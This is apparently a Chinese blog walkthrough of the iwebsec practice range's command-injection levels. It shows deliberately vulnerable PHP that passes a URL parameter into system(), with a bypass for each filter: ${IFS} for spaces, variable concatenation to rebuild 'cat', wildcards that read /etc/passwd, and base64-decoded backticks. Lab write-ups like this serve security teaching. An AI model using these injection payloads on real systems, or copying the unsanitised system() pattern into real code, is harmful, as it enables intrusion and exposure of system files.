iwebsec靶场命令执行漏洞(全部)

本文介绍了命令执行漏洞的概念,通过PHP代码示例展示了如何通过可控参数执行系统命令,以及四种常见的绕过过滤机制的方法:空格绕过、关键命令绕过、通配符绕过和Base64编码绕过。同时强调了这些漏洞的高危性以及防护的重要性。

 命令执行漏洞

        应用程序的某些功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令,这就是命令执行漏洞。它属于高危漏洞之一。

01-命令执行漏洞

源码分析

<?php
	if(isset($_GET['ip'])){

    $ip = $_GET['ip'];

    system("ping -c 2 ".$ip);
	}else{
		exit();
	}
	
?>

先ping两次,因为$ip是一个可控参数,可以通过Linux下的命令连接符执行多条命令,达到攻击的目的

这里以用id来直接获取用户uid gid gruops

?ip=127.0.0.1;id

 

02-命令执行漏洞空格绕过

源码分析

<?php
	if(isset($_GET['ip'])){

		if (preg_match('/ /', $_GET['ip'])) {
                die('error!!!');
		}
		else{
			$ip = $_GET['ip'];
			
		}
    system("ping -c 2 ".$ip);
	}else{
		exit();
	}
	
?>

这里用preg_match()对ip中的空格进行过滤

我们以cat 02.php为例

很明显这里显示了error!!!报错信息说明无法直接对其进行执行,需要进行绕过

${IFS}是shell的特殊环境变量,是Linux下的内部域分隔符。$IFS中存储的值可以是空格、制表符、换行符、或者其他自定义符号。

?ip=127.0.0.1;cat${IFS}02.php

 

 这里就不仅仅显示了ping的结果还显示了和该页面一样的结果因为02.php就是该页面

03-命令执行漏洞关键命令绕过

源码分析

<?php
	if(isset($_GET['ip'])){

		if (preg_match('/cat/', $_GET['ip'])) {
                die('error!!!');
		}
		else{
			$ip = $_GET['ip'];
			
		}
    system("ping -c 2 ".$ip);
	}else{
		exit();
	}
	
?>

这里是对cat这个命令进行了绕过,我们用变量拼接进行绕过(还可以使用空变量绕过,\绕过,系统变量绕过和通配符绕过)

?ip=127.0.0.1;a=c;b=at; $a$b 03.php

 

04-命令执行漏洞通配符绕过

源码分析

<?php
	if(isset($_GET['ip'])){

		if (preg_match('/etc|passwd/', $_GET['ip'])) {
                die('error!!!');
		}
		else{
			$ip = $_GET['ip'];
			
		}
    system("ping -c 2 ".$ip);
	}else{
		exit();
	}
	
?>

这里过滤了/etc|passwd/这个命令,我们要查看这个文件可以用?进行绕过(*可以绕过,是代表0到多个字符;[]内为范围,代表该字符中的任意一个字符)

?ip=127.0.0.1;cat /???/????wd?

 

这样就成功查看到了passwd文件的内容

05-命令值向漏洞Base64编码绕过

源码分析

<?php
	if(isset($_GET['ip'])){

		if (preg_match('/id/', $_GET['ip'])) {
                die('error!!!');
		}
		else{
			$ip = $_GET['ip'];
			
		}
    system("ping -c 2 ".$ip);
	}else{
		exit();
	}
	
?>

这个是对id进行了过滤,我们现在就要执行id这个命令,那我们就可以用Base64编码一下编码的结果是aWQ=再利用linux自带的base64 -d进行解码,这样就绕过了正常的命令。

?ip=127.0.0.1;`echo "aWQ=" |base64 -d`

 到这里就全部结束了。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值